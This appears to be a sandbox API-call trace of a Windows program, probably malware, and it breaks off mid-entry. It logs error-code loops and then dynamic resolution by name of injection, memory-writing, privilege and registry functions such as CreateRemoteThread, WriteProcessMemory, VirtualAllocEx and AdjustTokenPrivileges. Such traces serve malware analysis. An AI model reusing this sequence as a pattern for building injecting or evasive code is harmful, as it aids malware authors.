[0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x379) [0259.436] GetLastError () returned 0x379 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x37d) [0259.436] GetLastError () returned 0x37d [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x381) [0259.436] GetLastError () returned 0x381 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x385) [0259.436] GetLastError () returned 0x385 [0259.436] GetCurrentThread () returned 0xfffffffe [0259.436] SetLastError (dwErrCode=0x389) [0259.436] GetLastError () returned 0x389 [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x38d) [0259.437] GetLastError () returned 0x38d [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x391) [0259.437] GetLastError () returned 0x391 [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x395) [0259.437] GetLastError () returned 0x395 [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x399) [0259.437] GetLastError () returned 0x399 [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x39d) [0259.437] GetLastError () returned 0x39d [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x3a1) [0259.437] GetLastError () returned 0x3a1 [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x3a5) [0259.437] GetLastError () returned 0x3a5 [0259.437] GetCurrentThread () returned 0xfffffffe [0259.437] SetLastError (dwErrCode=0x3a9) [0259.437] GetLastError () returned 0x3a9 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3ad) [0259.438] GetLastError () returned 0x3ad [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3b1) [0259.438] GetLastError () returned 0x3b1 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3b5) [0259.438] GetLastError () returned 0x3b5 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3b9) [0259.438] GetLastError () returned 0x3b9 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3bd) [0259.438] GetLastError () returned 0x3bd [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3c1) [0259.438] GetLastError () returned 0x3c1 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3c5) [0259.438] GetLastError () returned 0x3c5 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3c9) [0259.438] GetLastError () returned 0x3c9 [0259.438] GetCurrentThread () returned 0xfffffffe [0259.438] SetLastError (dwErrCode=0x3cd) [0259.438] GetLastError () returned 0x3cd [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] SetLastError (dwErrCode=0x3d1) [0259.439] GetLastError () returned 0x3d1 [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] SetLastError (dwErrCode=0x3d5) [0259.439] GetLastError () returned 0x3d5 [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] SetLastError (dwErrCode=0x3d9) [0259.439] GetLastError () returned 0x3d9 [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] SetLastError (dwErrCode=0x3dd) [0259.439] GetLastError () returned 0x3dd [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] SetLastError (dwErrCode=0x3e1) [0259.439] GetLastError () returned 0x3e1 [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] SetLastError (dwErrCode=0x3e5) [0259.439] GetLastError () returned 0x3e5 [0259.439] GetCurrentThread () returned 0xfffffffe [0259.439] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x100) returned 0x220f5a8 [0259.439] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x373c) returned 0x21904a0 [0259.440] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.440] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6c8 [0259.440] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0259.440] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0259.440] lstrlenA (lpString="kernel32.dll") returned 12 [0259.440] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.440] lstrlenA (lpString="GetModuleHandleA") returned 16 [0259.440] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.440] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.440] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6c8 [0259.440] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0259.441] lstrlenA (lpString="kernel32.dll") returned 12 [0259.441] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.441] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0259.441] lstrlenA (lpString="GetProcAddress") returned 14 [0259.441] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.441] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x19) returned 0x220f6b0 [0259.441] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0259.441] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0259.441] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.441] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.441] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0259.441] lstrlenA (lpString="Process32First") returned 14 [0259.441] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.441] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.441] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0259.441] lstrlenA (lpString="Process32Next") returned 13 [0259.441] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.441] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.441] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0259.442] lstrlenA (lpString="Module32First") returned 13 [0259.442] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.442] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.442] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0259.442] lstrlenA (lpString="Module32Next") returned 12 [0259.442] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.442] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f6b0 [0259.442] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0259.442] lstrlenA (lpString="CreateRemoteThread") returned 18 [0259.442] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.442] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f6b0 [0259.442] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0259.442] lstrlenA (lpString="WriteProcessMemory") returned 18 [0259.442] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.442] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x12) returned 0x220f6b0 [0259.442] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0259.442] lstrlenA (lpString="ReadProcessMemory") returned 17 [0259.442] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.442] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.442] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0259.442] lstrlenA (lpString="OpenProcess") returned 11 [0259.443] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.443] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.443] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0259.443] lstrlenA (lpString="VirtualAllocEx") returned 14 [0259.443] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.443] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.443] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0259.443] lstrlenA (lpString="VirtualFreeEx") returned 13 [0259.443] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.443] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.443] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0259.443] lstrlenA (lpString="VirtualProtect") returned 14 [0259.443] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.443] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f6b0 [0259.443] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0259.443] lstrlenA (lpString="WaitForSingleObject") returned 19 [0259.443] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.443] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.444] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0259.444] lstrlenA (lpString="SetLastError") returned 12 [0259.444] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.444] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f6b0 [0259.444] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0259.444] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0259.444] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.444] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f6b0 [0259.444] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0259.444] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0259.444] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.444] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.444] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0259.444] lstrlenA (lpString="CreateProcessA") returned 14 [0259.444] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.444] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f6b0 [0259.444] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0259.444] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0259.444] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.444] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.445] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0259.445] lstrlenA (lpString="SetFilePointer") returned 14 [0259.445] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.445] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.445] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0259.445] lstrlenA (lpString="SetEndOfFile") returned 12 [0259.445] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.445] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.445] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0259.445] lstrlenA (lpString="FindFirstFileA") returned 14 [0259.445] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.445] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.445] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0259.445] lstrlenA (lpString="FindNextFileA") returned 13 [0259.446] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.446] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f6b0 [0259.446] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0259.446] lstrlenA (lpString="FindClose") returned 9 [0259.446] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.446] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.446] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0259.446] lstrlenA (lpString="CreateFileA") returned 11 [0259.446] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.446] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.446] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0259.446] lstrlenA (lpString="CreateFileW") returned 11 [0259.446] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.446] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x9) returned 0x220f6b0 [0259.446] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0259.446] lstrlenA (lpString="ReadFile") returned 8 [0259.446] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.446] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f6b0 [0259.446] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0259.447] lstrlenA (lpString="WriteFile") returned 9 [0259.447] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.447] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.447] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0259.447] lstrlenA (lpString="CloseHandle") returned 11 [0259.447] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.447] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.447] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0259.447] lstrlenA (lpString="DeleteFileA") returned 11 [0259.447] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.447] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.447] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0259.447] lstrlenA (lpString="LoadLibraryA") returned 12 [0259.447] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.447] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f6b0 [0259.447] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0259.447] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0259.447] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.447] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f6b0 [0259.447] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0259.447] lstrlenA (lpString="MoveFileA") returned 9 [0259.448] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.448] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f6b0 [0259.448] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0259.448] lstrlenA (lpString="LocalFree") returned 9 [0259.448] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.448] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.448] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0259.448] lstrlenA (lpString="CreateDirectoryA") returned 16 [0259.448] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.448] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x16) returned 0x220f6b0 [0259.448] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0259.448] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0259.448] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.448] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.448] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0259.448] lstrlenA (lpString="CreateThread") returned 12 [0259.448] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.448] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220f6b0 [0259.448] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0259.448] lstrlenA (lpString="OpenThread") returned 10 [0259.449] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.449] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x1a) returned 0x220f6b0 [0259.449] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0259.449] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0259.449] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.449] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.449] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0259.449] lstrlenA (lpString="VirtualProtectEx") returned 16 [0259.449] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.449] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f6b0 [0259.449] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0259.449] lstrlenA (lpString="GetFileAttributesW") returned 18 [0259.449] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.449] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.449] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0259.449] lstrlenA (lpString="FindResourceA") returned 13 [0259.449] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.449] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.449] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0259.449] lstrlenA (lpString="SizeofResource") returned 14 [0259.450] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.450] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.450] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0259.450] lstrlenA (lpString="LoadResource") returned 12 [0259.450] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.450] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.450] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0259.450] lstrlenA (lpString="CreateProcessW") returned 14 [0259.450] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.450] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x17) returned 0x220f6b0 [0259.450] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0259.450] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0259.450] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.450] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x1b) returned 0x220f6b0 [0259.450] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0259.450] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0259.450] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.450] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.450] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0259.450] lstrlenA (lpString="GetThreadContext") returned 16 [0259.450] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.450] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xa) returned 0x220f6b0 [0259.451] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0259.451] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x19) returned 0x220f6c8 [0259.451] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0259.451] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0259.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.451] lstrlenA (lpString="ntdll.dll") returned 9 [0259.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.451] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.451] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0259.451] lstrlenA (lpString="RtlGetVersion") returned 13 [0259.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.451] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f6b0 [0259.451] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0259.451] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x16) returned 0x220f6c8 [0259.451] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0259.451] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0259.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6c8 | out: hHeap=0x2190000) returned 1 [0259.451] lstrlenA (lpString="advapi32.dll") returned 12 [0259.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.452] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.452] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0259.452] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0259.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.452] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220f6b0 [0259.452] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0259.452] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0259.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.452] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.452] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0259.452] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0259.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.452] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.452] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0259.452] lstrlenA (lpString="RegEnumValueA") returned 13 [0259.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.452] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xe) returned 0x220f6b0 [0259.452] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0259.452] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0259.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.453] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220f6b0 [0259.453] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0259.453] lstrlenA (lpString="RegSetValueExA") returned 14 [0259.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.453] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f6b0 [0259.453] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0259.453] lstrlenA (lpString="RegQueryValueExA") returned 16 [0259.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f6b0 | out: hHeap=0x2190000) returned 1 [0259.453] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220f6b0 [0259.453] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0259.453] lstrlenA (lpString="RegCloseKey") returned 11 [0259.453] HeapFree (in: 